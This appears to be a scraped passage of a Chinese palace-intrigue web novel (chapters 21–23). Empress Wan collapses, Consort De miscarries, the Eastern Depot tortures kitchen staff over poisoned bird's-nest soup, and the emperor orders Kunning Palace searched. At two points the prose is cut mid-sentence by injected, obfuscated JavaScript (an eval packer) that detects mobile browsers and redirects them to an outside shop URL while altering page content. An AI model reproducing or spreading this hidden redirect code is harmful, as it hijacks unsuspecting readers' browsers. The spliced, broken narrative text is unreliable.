须臾,万皇后缓缓站起身,环顾着坤宁宫的四周,再发出一道凄惨迷离的笑声后,终是再也忍不住了,径直向后倒去。 “娘娘!快传太医!快传太医啊!” 汪嬷嬷一惊,对外大喊一声,又是一阵人仰马翻。 次日一早,在大年初一这日,伴随万皇后感染风寒病倒了的消息,一同传出来的,还有姬阆宠幸了坤宁宫一个奉茶宫女。 21. 第 21 章 永和宫里,宜含紧了紧围脖,她捂在兔毛毯子里,思绪已经飘远。 昨儿闹出了这样的大事,怕是整个东京城都惊动了,只怕昨夜没几个能睡得着。 就在此时,周颐脚步匆匆地走进来,她面色有些凝重,仿佛是有什么不得了的大事。 她环顾左右后,在宜含跟前小声禀告道:“娘娘,德嫔小产了……” 宜含回过神,她不敢置信地看着周颐,声音也跟着陡然一高:“你说什么?德嫔小产了?” 似乎是这个消息太过惊人,宜含的心头狂跳不止。 周颐点了点头,压低了声音:“昨夜德嫔被挪回昌庆宫后,不知是何缘故,半夜突然闹着要去尚食局,结果路上摔了一跤,等当值的太医赶去时,已经小产了。德嫔哭得死去活来,直喊是皇后下的手!” 宜含的眉头一皱,德嫔好好的,怎的突然要闹着连夜去尚食局?这其中怕是有什么隐秘…… “姑姑,可知道德嫔为何要去尚食局?” 宜含抛出了自己的疑问。 “似乎是跟宋美人有关系。” 宋美人? 宜含一愣,脸色的疑色越来越重,她的脑海中先后浮现出各种原因。 她本以为昨夜的乱局已足够惊心动魄,谁料新年的第一天就爆出这样惊心动魄的消息。 “与宋美人有关系?” 宜含重复了一遍周颐的话,声音低得几乎听不见。 她撩起毛毯,起身走到窗边,推开一隙窗扇,寒风夹扑面而来,冰冷刺骨,却让她无比清醒。 “姑姑,你是说,德嫔半夜去尚食局,是为了宋美人?” 周颐点点头,“据奴婢打听,德嫔昨夜本在昌庆宫都睡了,谁知半夜忽然惊醒,非要宫人带她去尚食局,说是要查宋美人小产前的膳食记录。昌庆宫的人劝不住,她便带着几个宫女连夜出门……” 说到这里,周颐顿了顿,而后继续道:“娘娘应当也是知道的,这冰天雪地的,路上都是结了冰的,德嫔自然就……今儿一早,德嫔一醒来就直哭,还说是皇后娘娘派人暗害,路上是被她故意洒了水。” 闻言,宜含脑海中迅速拼凑起昨夜的碎片。 宋美人小产时,曾在陛下跟前谈及燕窝,德嫔又在宴会上失言质疑皇后,现下又急于求证膳食…… 德嫔半夜冒险去尚食局,莫非是有了什么线索,想要去那儿找到铁证,坐实万皇后谋害皇嗣的行径? 想到此处,宜含的面色晦暗不明,一时也摸不准德嫔的心思,不过她能肯定的是,这件事终归和尚食局脱不了干系。 “万岁爷怎么说?” 宜含浮又问了一句。 周颐思考了一下,没有直接回答宜含的话,反而说些似是而非的话:“昨儿福庆殿的宴会散了后,万岁爷和皇后娘娘在坤宁宫好像大闹了一场,临了,万岁爷还宠幸了一个坤宁宫的宫女。” 宜含瞥了周颐一眼,默不作声,似乎是在等她继续。 很快,周颐再次开口道:“说起来,也是那宫女运道不好,本来受了皇恩,该是做娘娘的。只是今儿一早,万岁爷得到德嫔小产的消息,抛下那个宫女不管不顾地走了。” 宜含长叹了一口气,不知是不是在可怜她。但凡宫女得了圣恩,一般都会抬举封了才人。 那宫女偏生遇到德嫔小产了,万皇后本就善妒,她可以说是踩着万皇后的脸上位的。没了恩封,她的下场自然不言而喻。 至于姬阆,他日理万机,怎么会想起这样的小事。等他想起来,只怕那宫女的坟头草已经都几丈长了。 “那个宫女叫什么名字?” 宜含纳罕地问了一句。 周颐回忆了一下早上听到的消息,有些迟疑不决:“似乎姓李,叫……玉娘?对,就是李玉娘。” 宜含幽幽道:“也是个可怜人……” …… 玉堂宫里,贞妃和贤妃正围着炭火盆而坐,看着盆中的火苗,贤妃笑着试探道:“贞姐姐当真是好谋算,手段干脆利落,妹妹实在是佩服。” 贞妃瞥了贤妃一眼,不动如山,没有一丝动容,她樱唇轻启:“我听糊涂了,妹妹的意思,姐姐不大听明白。” 贞妃的话音刚落,贤妃的笑意顿时就僵在了脸上。 她本想借此试探贞妃在德嫔小产一事中的手脚,谁知贞妃竟然一口咬定不知情。 贞妃究竟是故意在装傻充愣?还是说,此事当真仅仅只是一个意外?贤妃一时也拿不准主意了。 “贞姐姐说笑了。”贤妃脸上的笑容更甚了,她呷了口茶后,娓娓道来:“听说德嫔昨夜小产,今儿一早闹的天翻地覆,贞姐姐莫非不知?妹妹自知姐姐手眼通天,可若东厂查出什么,咱们姐妹岂不是要跟着一同遭殃?” 贤妃并不是怜惜德嫔小产,只是她害怕贞妃此时贸然出手,万一被盛怒的姬阆查到什么蛛丝马迹,岂不是还要平白连累她。 贞妃的眸子微微眯起,她不紧不慢地添了些银丝炭到盆中,看着火苗窜起,方才开口:“妹妹多心了,德嫔的性子你也是知道知道的,她半夜非要吵着闹着去尚食局,自个儿摔了一跤,她又怨得了谁?” 贤妃心头一沉,她知贞妃狡猾如狐,此话虽推得干净,可德嫔好好的,为何突然要闹着去尚食局?背后没有人撺掇,她是万不能相信。 不是贞妃的话,那…… 忽然,贤妃心头生出一个大胆的猜测,宜含的身影突然浮现在她的脑海中,难道……这件事是甄贵妃做的? 她有些惊疑不定,决定最后再试探贞妃一次,“姐姐说的是,德嫔的性子浅薄,昨夜的事兴许真是意外。只是……姐姐可有听说,永和宫那边有何动静?甄妹妹这些日子安静得很,莫非……她也掺和进来了?” 贞妃低头饮茶时,凤眸中快速闪过一次异芒。没想到贤妃竟然疑心上了甄贵妃,这倒是有趣了。 起初在得到消息时,她本以为是贤妃做的手脚,可贤妃来了她的玉堂宫后,她才知道不是贤妃。 被贤妃突然提到的甄贵妃,她不是没怀疑过,只是很快就被自己否决了。 须臾,贞妃放下茶盏后盈盈一笑,“妹妹这是何意?甄妹妹的身子弱,连着宋美人的事情都不乐意出手,更别说掺和德嫔的事了。咱们姐妹联手本是为扳倒坤宁宫那位,现下皇后病倒,可不正是天赐良机。咱们姐妹何必疑神疑鬼,平白坏了咱们的和气。妹妹,你说呢?” 贤妃强颜欢笑,起身福了一礼:“姐姐说的是,是妹妹多心了,乍然听到德嫔小产的消息,打我这里就乱了阵脚……也罢,诚如姐姐所言,只要咱们姐妹同心,那位倒台之后,想必这中宫之位……日后妹妹就仰仗姐姐多多照应了。” 贤妃面上捧着贞妃,可谈及中宫之位时,心底却并非面上这般平静。 万皇后一旦被废,新后人选只有她们这些高位嫔妃有一争之力。她也位列四妃,未必就轮不到她入主坤宁宫。 虽说贞妃的资历最深,可论恩宠,她倒比眼前这位要强一些! 贞妃心里跟明镜似的,贤妃想什么她一眼看透,眼中闪过一丝嘲讽,“妹妹慢走,本宫就不送了。” 贤妃离开玉堂宫后,立即着人准备了礼品去探望了德嫔和宋美人。之后又赏赐了一些低阶嫔妃年礼,大有邀买人心之举。 而坤宁宫这边,自从昨夜万皇后和姬阆大闹一场后,竟一病不起,至今都还没醒过来。 李玉娘被送回坤宁宫的时候,所有人都知道她被姬阆宠幸了,平日里尖酸刻薄的孙姑姑也难得没说什么挖苦的话。 “万岁爷下达册封旨意之前,姑娘还是照旧即可。” 她语气平平,目光中隐隐透出一抹怜悯,仿佛看待一个死人一般。 事实也是如此,受了皇恩没被册封的宫女,大多下场都不太好。更何况,她只是姬阆用来打万皇后脸面的一个物件。 李玉娘眸光暗了暗,她点了点头,像一个木偶一般有气无力地向自己的屋子走去。 孙姑姑盯着她的背影,终究没说什么,只是长舒一口气。她们这些人的命,就跟这外边的雪花一样不值钱。 内殿的烛火摇曳,万皇后终于悠悠转醒,她睁开眼睛,第一眼便看到守在塌前的汪嬷嬷,在她的眼里,满满都是担忧。 “嬷嬷……” 万皇后声音沙哑,喉头如火烧般疼痛。 她回想起昨夜的争吵,姬阆那一巴掌的耻辱,以及冷漠,心头如刀绞。 “他……他可来了?” 汪嬷嬷闻言,知道万皇后说的是姬阆,眼泪跟着扑簌簌地落下。 她不忍万皇后难受,但也没欺瞒,于是跪下道:“娘娘……德嫔小产了,万岁爷……今儿一早就去了昌庆宫。倒是李玉娘……已经被送回来了。” “李玉娘?” 万皇后还有些晕,脑子里根本想不起这号人物。 不过她更关心的是德嫔小产的事,她坐起身子,眼中闪过一丝迷离,“德嫔怎么也小产了?怎么回事?” 汪嬷嬷点了点头,“说是昨夜不知是什么缘故,德嫔死活闹着要去尚食局,后面在去尚食局的路上滑了脚,这才小产了。” 闻言,万皇后死死扣住被角,指节因用力而泛白,“滑了脚?德嫔昨夜在玉津园还活蹦乱跳的,怎的回了宫就突然闹着要去尚食局?她……她这是冲着本宫来的!她们是想要将所有血债都推到本宫的头上。” 汪嬷嬷见万皇后激动,赶紧上前扶住她,声音低沉却带着一丝急切:“娘娘息怒!千万仔细您的身子!” 昨夜细碎的画面突然自万皇后的脑海浮现,脸上的红痕明明已经消退,可还隐隐作痛。 她推开汪嬷嬷的手,心如死灰,“不……这都不重要了,是他背弃了誓言,是我瞎了眼,看错了人……” 汪嬷嬷心中大骇,她自然清楚万皇后这是没了斗志。往日里那位雷厉风行、掌控六宫的中宫皇后,在此时仿如秋叶般凋零。 她赶紧再次跪下,声音带着哭腔:“娘娘!您可千万不能这样想啊!万岁爷只是气头上,昨夜的事……他终究是念着旧情的。您是他的结发妻子,又曾在南苑患难与共,谁能越得过您的次去。” 万皇后闻言,眼中闪过一丝茫然。 她望着琉璃花窗,外边的大雪纷飞,那雪花如她的心绪一般,层层堆积,却又无处可诉。 昨夜姬阆的那一巴掌,不单是打在她的脸上,更是打碎了她这些年的所有念头。 誓言? 患难夫妻? 一切都仿佛镜花水月,转瞬成空,只是大梦一场。 如今梦该醒了。 她低声呢喃:“嬷嬷,你不懂……他变了。从他继位后,就变了。他是天子,是陛下,是万岁爷……却不再是我依赖的夫了。” 汪嬷嬷闻言,心如刀绞。 她知道主子这些年手段虽狠,可说到底,只是不甘心而已。如今万皇后谋害皇嗣的名声传出去,不论真假,外朝那些老臣岂有善罢甘休的理? 汪嬷嬷叩首,一脸悲戚:“娘娘,是那些贱人联手陷害您,等查到水落石,真相大白。万岁爷,自然还会待您如初的。您得养好身子,静等他们结案就是了。” “不必了……不必了……当初我该同悼怀太子一起去了的。” 水雾充斥着万皇后的眼眸,她拿被子捂住脸,哽咽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她见李玉娘脸色苍白,心头一酸:“玉娘,你……你怎么样?孙姑姑她们……没为难你吧?” 李玉娘木讷地转过头,她的眼里泪光闪烁不止,她拉住秋荷的手,声音颤抖不已:“秋荷……我怕是活不成了。昨夜的事……皇后娘娘怎么会饶我?万岁爷……他也抛下我不管了。我……我该怎么办……” 秋荷的眼泪也跟着落下来,她知道李玉娘是无辜的,卷入了帝后之争,已经是死路一条。 然而她还是不忍心,低声劝道:“别怕,我打听了,东厂在彻查燕窝一案,皇后娘娘现下都自顾不暇。好姐姐,你得振作起来!或许……或许万岁爷还会想起你。” “万岁爷?” 李玉娘苦笑一声:“宫里我这样的人多了去了,他是天子,如何会为我一个宫女费心?秋荷,你走吧,皇后娘娘的手段……你知道的,要是连累你了,我良心更不安了。” 秋荷泪如雨下,却也不敢久留,她将粥搁下,一步三回头地抹泪离去。 孙姑姑的影子似乎在这里来回晃悠,李玉娘看的脊背发凉,她不由蜷缩得更紧了,眼中满是绝望。 与此同时,东厂的大牢里,哀嚎和惨叫的声音此起彼伏。 覃司膳已被折磨得奄奄一息。 沈安挥手停刑,冷声道:“覃司膳,你也是宫里的老人了,该知道本督的手段,若你再不交代,那本督只能继续对你用刑!你可要想清楚了!” 覃司膳惨白的脸上勉强露出一抹笑,她十分用力地开口:“沈公公,不是我做的事,我能交代什么?皇后娘娘赏赐各位娘娘燕窝,我按照吩咐给德嫔娘娘送过去,路上也并未假手于人!” 沈安面色一沉,声音也带着宦官独有的尖利:“看来覃司膳是不打算给杂家脸面了,也罢,继续用刑!” 话音刚落,东厂两个番子抬手取出银针,对着覃司膳的指尖就刺了进去。 惨叫声瞬间充斥着整个牢房。 沈安没有闲工夫继续在这里和她耗着,转身就去了隔壁的静室,他仔细看着目前整理出来的供词。 据宋美人身边的宫人说,宋美人前几日并未得到万皇后赏赐燕窝的恩宠,不过在赴宴前,倒用了尚食局送来的燕窝粥。 顺着这条线查过去,这些燕窝却又是坤宁宫送来的。 万皇后喜食燕窝,姬阆每每得了上好的官燕,大多都赏了万皇后,继而宫里的官燕都只供万皇后食用。 那日,万皇后不知是何缘故,探望完贞妃后,突然又不想吃燕窝了。 只是坤宁宫的宫人又没回来取,到了除夕这天,尚食局几个女史想要巴结宋美人,这才将万皇后没取回取的燕窝炖了,好巧不巧地送给了宋美人。 供词中,宋美人的贴身宫女反复强调,那燕窝粥是尚食局的覃司膳亲自送来。 而尚食局的几个女史也一口咬定只是想要讨好宋美人罢了。 沈安合上供词册子,眼中寒光一闪。 他知这案子已如蛛网般缠绕,层层叠叠指向坤宁宫。 可皇后病倒在床,东厂审问那些被带走的坤宁宫宫女时,她们一个个咬死不知情,只说燕窝是从库房里取出来的,并无异样。 这样的供词如何能送到御前去! 至于德嫔,姬阆早上亲自审问了德嫔宫里的人,没有任何例外,全都指向只是德嫔自己怀疑是万皇后对她和宋美人下了毒手。 为了害怕万皇后销毁证据,这才闹着去尚食局!小产纯属是意外,全是德嫔自己作的。 姬阆当即就以护主不力为由,下旨杖杀了德嫔身边包括绿袖在内的宫人,甚至没有惊动任何人。 沈安揉了揉眉心,暗自思忖:此事昨夜闹的人尽皆知,这燕窝案若真坐实皇后,只怕陛下也要颜面无光。可若不彻查到底,外面那些大臣们又岂能善了?着实令人难办…… 他起身唤来一个番子,低声道:“去,把宋美人的宫女再带上来审问,问清楚那些燕窝粥的来龙去脉。是由谁经手,谁熬制,谁送的!另外再去太医院催一催,存样的燕窝粥里是否查出什么没有?” 22. 第 22 章 东厂的人办事效率很高,很快就将太医院出具的文书送到了沈安面前。 看着上面的内容,沈安变了脸色,果然!那燕窝羹果然是有毒的。起初他本以为是送去宋美人宫里的路上才被人加了什么不该加的东西,原来打一开始里面就混了药。 沈安死死盯着那份太医院的文书,手指因用力而微微发颤。 文书上黑字白纸,写的清清楚楚,存样的燕窝粥中,确实有令孕妇滑胎的东西。不过具体是哪种,因留样的数量有限,太医院还未完全确定。 “果然……” 沈安喃喃自语一声。 他深吸一口气,挥手唤来心腹番子:“去,即刻带人去坤宁宫,将昨夜被带走的那些奴婢以及尚食局的那几个女史再审一遍!大刑伺候,别心慈手软!另外,传本督的话,让太医院的张太医亲自来一趟,本督要问问这药的来历。” 沈安靠在椅上,揉了揉眉心。 这案子已如滚雪球般越滚越大,说不得后面还要搜查坤宁宫。 昨夜万岁爷与皇后大闹,已然是夫妻离心,倘若东厂再搜出实证,加上前朝在这么一推,怕是要逼着万岁爷废后了。 想到此处,沈安暗道一声不好,立即起身将案上的卷宗和太医院的报告带上,直奔乾清宫而去。 沈安步履匆匆地穿过重重宫门,直奔乾清宫而去。沿途的宫人见他面色凝重,皆是低头避让,不敢多问一句。 正值新年伊始,万皇后病着,姬阆一人前去奉先殿祭祀宗庙,以求大周国祚金瓯永固。 自奉先殿回来后,他的脑海中反复回荡着昨夜与万皇后的争吵,那一巴掌的余波如潮水般涌来,让他心烦意乱。 一早德嫔小产的消息传来后,他恼了德嫔,心底的愤怒怂恿他很想杀人。 终于,在知道这些人护主不力,不能阻止德嫔出格的行径后,他下旨杖杀了昌庆宫的宫人,强压住情绪,之后又试图以国事分担注意力。 “万岁爷,东厂沈督主求见。” 门外宦官低声禀报道。 姬阆眉头微皱,挥手道:“让他进来。” 很快,沈安进入东暖阁后,跪地叩首,将卷宗和太医院文书呈上:“万岁爷,臣已初步审清燕窝一案。宋美人除夕所食用的燕窝粥中,确有滑胎药的成分。据尚食局女史供认,那燕窝本是皇后娘娘所用的官燕,因皇后娘娘那日未曾食用,兴许是忘记取回,那些女史便私自转赠宋美人,证据都指向了坤宁宫。” 未免姬阆听不明白自己的弦外之音,他又补充了一句,“臣已令人严刑拷打坤宁宫的奴婢以及尚食局的人,想必很快就会水落石出。” 姬阆手中的朱笔顿住,暗红的朱墨滴落纸上,洇开一团红晕。 “放肆!” 不知姬阆是在说沈安,还是万皇后。他缓缓拿起卷宗,一拍手下的御案,高昂的声音在暖阁中久久不散。 沈安的头,不由埋的更低了。 姬阆知道,如果继续查下去,一定会牵扯到万皇后身上,最后只能是废后! 他犹豫了,明明他已经无法再容忍万皇后的所作所为。可临了,真到了这一步时,不知所措的人却成了他。 看到姬阆的神色,沈安就知道自己来对了。 暖阁内一时死寂,只有炭盆中的噼啪声音作响。 姬阆深吸一口气,强压住心头的翻涌,声音低的可怕:“沈安,你且起来回话。那燕窝里……确是滑胎之物无疑?可有可能是别人栽赃陷害?” 沈安起身,躬身道:“回万岁爷的话,虽然太医院尚未确定具体是哪一种药,可的确会致使女子小产。因是皇后娘娘专供的官燕,臣翻阅过尚食局的记录,这一盒官燕仅有几名女史接触过,再无旁人经手。且臣已经搜过她们的住所,并未发现可疑之物。当然,也不能排除这几个女史的嫌疑。” 姬阆的拳头在御案下紧握,他想起昨夜万皇后在悼怀太子神位前的誓言,她那双眼睛中的决绝与悲凉。 那些夭折的皇嗣,一个个如鬼魅般在脑海中浮现,他的确纵容了她太久,太久…… 良久,空旷的大殿才响起姬阆的声音:“去传坤宁宫的汪嬷嬷!朕有话问她。” 沈安领命而出,脚步匆忙地穿过重重宫门。 不过盏茶的功夫,坤宁宫的汪嬷嬷就被带到御前。她年事已高,此时膝盖已经隐隐作痛,却强撑着跪下叩首:“老奴叩见万岁爷。” 姬阆挥手免礼,屏退殿内左右后,直接开门见山:“汪嬷嬷,你侍奉皇后多年,对坤宁宫了如指掌。朕且问你,宋美人的孩子跟皇后到底有没有干系!” 汪嬷嬷闻言,心头一沉。 经此一事,万皇后已是心灰意冷,可这件事根本就与她们无关。 她叩首道:“回万岁爷的话,此事与皇后娘娘毫无干系,奴婢也不知道尚食局的那些女史竟私自转赠……” 姬阆打断她,不甚客气道:“朕要听实话!燕窝里面那些东西,是不是皇后所为?她这些年……可曾对其他嫔妃下手?” 汪嬷嬷身子一颤,她想起万皇后那如死灰的眼睛,心头忍不住一酸。 她哽咽道:“万岁爷,皇后娘娘这些年苦守中宫,何曾害人?那些小产之事,多是天意!奴婢以命担保,宋美人的燕窝中,定是有人栽赃!一定是有人陷害!” 姬阆深深看了她一眼,汪嬷嬷被他看的浑身发毛。 汪嬷嬷此时有些后悔了,万皇后这些年做的这些事情,怎么可能瞒得过万岁爷。 当着姬阆的面,她本想为主子辩白到底,可这位天子的眼睛仿佛能洞穿人心,那些尘封的秘密如潮水般涌上心头。 姬阆沉默了,没有再逼问她。 就当汪嬷嬷想要改一改口风时,姬阆却挥手示意让她退下。 无法,汪嬷嬷也只得将错就错。 待所有人离去后,姬阆将自己一个人关在暖阁里,他原本想要给汪嬷嬷一个说真话的机会的,可她……可她……这老奴竟敢欺瞒他! 姬阆极力克制自己对坤宁宫进行搜宫的旨意。 姬阆独自坐在暖阁中,窗外大雪纷飞,映得殿内的灯火摇曳不止。 他趴在御案上,刚一合眼,脑海中便浮现出那些夭折的皇嗣,尤其是敬懿公主,那个浑身乌青,甚至发着黑气的孩子,他们犹如一个个冤魂般,缠绕在他身边。 德嫔的小产,虽是她自己作死,可宋美人的血崩,却如一记重锤,砸醒了他这些年的自欺欺人。 “沈安!” 姬阆终于开口,声音带着一丝疲惫的决绝。 沈安本已在外殿候着,闻言赶紧入内,躬身一礼:“陛下有何吩咐?” 姬阆深吸一口气,挥手道:“传朕的旨意,即刻搜查坤宁宫!坤宁宫上下宫婢,全部羁押待审。若有阻拦者,视为从恶!若有实证……可一并上报。” 沈安心头一凛,他知陛下终于下定决心,却也隐隐担忧。此番搜宫,只怕会掀起滔天巨浪。 他叩首道:“臣遵旨。” 就在他准备退出去时,耳边再次传来姬阆的声音:“另外……皇后染疾,掌管六宫不利她养病,宫务就让甄贵妃先管着罢。” 沈安应下,就当他转身离去时,瞥见姬阆的背影,这位天子竟如老了十岁般佝偻。 汪嬷嬷刚回到坤宁宫还没多久,沈安就带着人搜宫来了,同行的还有宫正司和司礼监的人。 沈安宣读完姬阆的旨意后,汪嬷嬷的天塌了,她知道是自己说错了话,才给万皇后招惹来这一劫。 宫女们乱作一团,平日里她们高高在上,哪里受过这样的委屈,很快就有年轻的宫女因为害怕而哭出声来。 汪嬷嬷却害怕她惊扰到里面的万皇后,于是快步走到那个宫女跟前,伸手狠狠掐了她一把,“贱婢,皮子又痒了是不是?” 那名宫女委屈地只掉落泪,但是却不敢再发出丁点的声音。 但宫正司和东厂的人却不管不顾,沈安的队伍如潮水般涌入坤宁宫,脚步声在雪地中踩出沉闷的回响。 宫正司的女官们手持册子,逐一清点宫中器物,东厂的番子则如饿狼般翻箱倒柜,不放过任何一个角落。 空气中弥漫着翻动旧物的尘土味,夹杂着宫女们的低泣和惊呼。 万皇后似乎听到外边的动静,从内殿缓步走出。她虽病中,却强撑着身子,脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590358|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苍白如雪,那双眼睛没了往日的神采。 她披着狐裘,站得笔直,如一尊不倒的雕像。 沈安躬身一礼,仍不失恭谨:“给皇后娘娘请安,万岁爷口谕,让臣等搜查坤宁宫,坤宁宫上下,暂且羁押待审,还请娘娘配合。” 沈安这番话似乎在万皇后意料之中,她仅仅只是看了汪嬷嬷一眼,然后收回视线,转身进了殿内,不在言语。 她已经死心了,对姬阆彻底死心了,再也不会因为他而愤怒,悲伤,亦或是欢喜…… 废位也好,赐死也罢,这都不重要了。 万皇后独自坐在内殿的凤榻上,目光空洞地望着前方,如一潭死水,不起波澜。 外殿的翻箱倒柜声隐隐传来,夹杂着宫女宦官们的低泣以及东厂番子的呵斥。 她没有动弹,也没有愤怒,只是轻轻闭上眼睛,任由那些声音如潮水般涌入耳中。 “娘娘……” 汪嬷嬷跪在榻前,声音颤抖得不成调子。她伸出手,想握住万皇后的手,却被后者轻轻推开。 “嬷嬷,不必劝了。”万皇后的声音平静得诡异,没有一丝起伏,“从南苑到如今,我为他熬了多少年?那些誓言,那些患难……如今看来,不过是场笑话。他要搜,就让他搜。要审,就让他审。我累了,不想再争了。” 汪嬷嬷的眼泪如断线珠子般落下,她叩首道:“娘娘,您不能就这样认了!那些贱人们联手栽赃陷害,老奴……老奴去求万岁爷,给他说清楚!” 万皇后睁开眼睛,淡淡地看了她一眼,那眼神中竟有几分怜悯:“求他?嬷嬷,你忘了昨夜的那一巴掌?忘了他在悼怀太子神位前的冷漠?姬阆的心,早就不在我这里了。去吧,若你想求,就去求。坤宁宫的这些人,随他们带走便是。” 汪嬷嬷闻言,她知道主子这是彻底心死了,那种绝望如病毒般蔓延,让她也感到无力。 她起身,踉踉跄跄地走出内殿,却见沈安已带着人将坤宁宫的宫女们和宦官们绑缚,押向外殿。 李玉娘也在其中,她脸色苍白如纸,眼中满是惊恐,却不敢出声。 最后还是沈安在人群中发现了她,让人给她松了绑,将她留在坤宁宫。 到底是万岁爷宠幸过的人,没有旨意,沈安自然不愿意讨嫌去动她。 沈安瞥见汪嬷嬷,拱手道:“汪嬷嬷,皇后娘娘可有话说?” 汪嬷嬷咬牙,强忍住眼泪:“沈督主,万岁爷的旨意,老奴自然遵从。只是……坤宁宫上下清白,望督主明察。” 沈安叹了口气,没有多言,只是挥手示意番子们继续。 很快,坤宁宫的库房被翻了个底朝天,那些平日里珍藏的珠宝、香料、药材散落一地。这些人动作粗鲁,却也仔细,没有放过任何一个角落。 就在此时,一个番子从万皇后的妆奁中翻出一小包粉末,包装精致,却无标记。 他小心翼翼地递给沈安。 沈安接过,嗅了嗅,自是察觉不出是什么,不过他也不敢擅专,让人给姬阆送了过去。 与此同时,乾清宫内,姬阆独自坐在御案前,静静思考着。 “万岁爷,甄贵妃求见。” 殿外的宦官低声禀报道。 姬阆思绪回到现在,叹了口气,开口道:“让她进来。” 宜含缓步入殿,她穿着一袭素色宫装,面上带着一丝忧色。 行礼后,她柔声道:“万岁爷,臣妾听闻皇后娘娘染疾,承蒙您看重,将宫务托付给臣妾,然臣妾觉的甚是不妥,还请您收回旨意。” 说完,宜含俯身再拜。 她知道姬阆是有意抬举,可此时万皇后刚倒下了,她转手就接了宫务,多招人恨呐,未免也太打眼了些。 姬阆倒是有些意外了,他起身亲自扶起宜含,见她目光清明,不似作假的样子,开口道:“朕知道你的心意,只是皇后现下病着,你又是众妃之首,眼下也只能辛苦你了。” 宜含还想推辞,姬阆却虎下了脸,抬了抬手,“不必再说了,就如此决定了。” 见此,宜含无法,只得称是。 姬阆又勉励了她几句,才心事重重地让宜含退下。 23. 第 23 章 宜含刚退出乾清宫,周颐便凑过去,脸上堆满了笑:“恭贺娘娘,万岁爷将宫务交给了娘娘,这是看重娘娘的意思。” 闻言,宜含却叹了口气,怕是没有周颐说的那么简单。万皇后一旦被废,后宫的平衡立即就会被打破,紧接其后的就是新一轮的争斗。 周颐见宜含面露愁容,她有些纳闷,若是旁的娘娘有了这样的好消息,怕是开心地脚不沾地了。 她不由问道:“娘娘可是有心事?万岁爷将宫务托付给您,这是天大的恩典,您又何故忧愁呢?” 宜含回头瞥了她一眼,叹了口气,“姑姑,坤宁宫那位刚倒下,万岁爷就将六宫之事交给我,这是哪门子的恩典,分明是烫手山芋才对。我接了此事,只怕贞妃和贤妃她们第一个就容不得我。” 周颐闻言,心头一凛。 方才她被权势富贵迷了眼,的确没想到这一层。贞妃她们本就对后位虎视眈眈,万皇后若真被废,新后的角逐势必血雨腥风。 想到此处,周颐面色一变,沉声应了一句:“娘娘所言极是,那奴婢这就去打点一番,先稳住各宫的动静。至少在这几日,别让她们闹出什么事端。” 宜含点点头,“罢了,如今也只能走一步看一步了。” 话音刚落,她乘上轿舆,向永和宫的方向而去。 与此同时,玉堂宫中,贞妃正与贴身宫女低语,门外却忽然传来贤妃的通报。 她眉头微皱,却还是让人将贤妃请进来。 贤妃入殿后,脸色铁青,劈头就道:“贞姐姐,万岁爷下旨搜查坤宁宫了!不过……他让甄贵妃暂掌宫务!这……这分明是要废后的前兆!咱们姐妹联手,本是为了扳倒那位,可现下却教永和宫那位捡了便宜!” 说到此处,贤妃似乎察觉到自己的失言,立即找补道:“那位被废后,无论是资历还是什么,都该是贞姐姐接手才是,她甄氏一个丫头片子,如何能够服众!” 听了半宿话,贞妃哪还有什么不明白的,这哪是替她不值,分明是替贤妃自己喊冤才是。 她不动声色地笑了笑:“甄妹妹是贵妃,乃四夫人之首,她掌管宫务是理所当然之事,贤妃妹妹难道有什么意见不成?” 贤妃面色微变,她本是前来试探贞妃的心思,谁知贞妃一句话就将皮球踢了回来。 她强挤出一丝笑容,声音柔和了几分:“姐姐说笑了,妹妹岂敢有意见?只是……甄妹妹身子骨弱,宫务繁杂,怕是吃不消。万岁爷这般安排,莫非是别有深意?姐姐耳聪目明,想来比妹妹见识更深远。” 贞妃心下冷笑一声,贤妃这番话,明里暗里都在挑拨,她怎会不知? 她慢条斯理地呷了口茶,凤眸微抬:“深意?万岁爷的心思,妹妹猜不透,姐姐又如何知晓?不过,东厂搜坤宁宫一事,怕是燕窝案有了新进展。贤妹妹与其在这里忧心宫务,不如想想如何在万岁爷跟前露露脸。坤宁宫那位若真倒了,坤宁宫的位子,可就空出来了。” 贤妃闻言,眼底闪过一丝精光。 她知道这是贞妃在故意岔开话题,却也顺势接道:“姐姐所言极是,妹妹今儿去探望了德嫔和宋美人,德嫔直说皇后是罪魁祸首。” “噢?” 贞妃不动声色,“妹妹去探望时,可有问出些什么?” 贤妃笑了笑,“德嫔哭得死去活来,一口咬定了是皇后派人在路上洒水害她。” 贞妃闻言,心道德嫔也是愚钝,不明不白地没了孩子。 不过她总觉的,这背后还有其他推手。 贞妃没有闲工夫和贤妃虚与委蛇,很快就以身体不适为由,下了逐客令。 贤妃自觉没趣,面上虽没有什么,可心底还是冷哼一声,带着礼物转头去了永和宫。 不过宜含这个时候不敢见贤妃,以身体不适为由,让周颐推了贤妃的求见。 周颐知晓宜含的心思,命人送上几样贵重好看的年礼,以示安抚。 贤妃在永和宫外吃了闭门羹,心头一股无名之火突然生起。她本是前来试探宜含的口风,谁知宜含竟然避门谢客。 这刚得了协理六宫之权,还没当上皇后呢,就已经开始摆未来皇后的架子了! 她强压住心头的怒意,面上挤出笑容,对周颐道:“既然贵妃娘娘身子不适,那我就不叨扰了。劳烦姑姑转告娘娘,就说我改日再来恭贺拜见娘娘。” 周颐赔笑应下,贤妃这才转身上轿。 她靠在软枕上,透过轿帘的缝隙,冷眼看了永和宫的大门一眼,心头暗了暗:甄宜含,你莫要得意太早。坤宁宫那位还没彻底倒下,本宫倒要看看,你能风光多久! 回到景仁宫,贤妃砸碎了一个茶盏,宫女们大气不敢出。 贤妃独自坐在窗前,望着外头的夜色,心思百转。万皇后这些年树敌无数,现下正是她趁机拉拢人心的时候。甄贵妃暂掌宫务,不过也是暂时的,她未必就会长久地屈居人后。 另一头的昌庆宫,静悄悄的,宫人们的脚步也轻轻的,仿佛生怕惊扰到了什么。 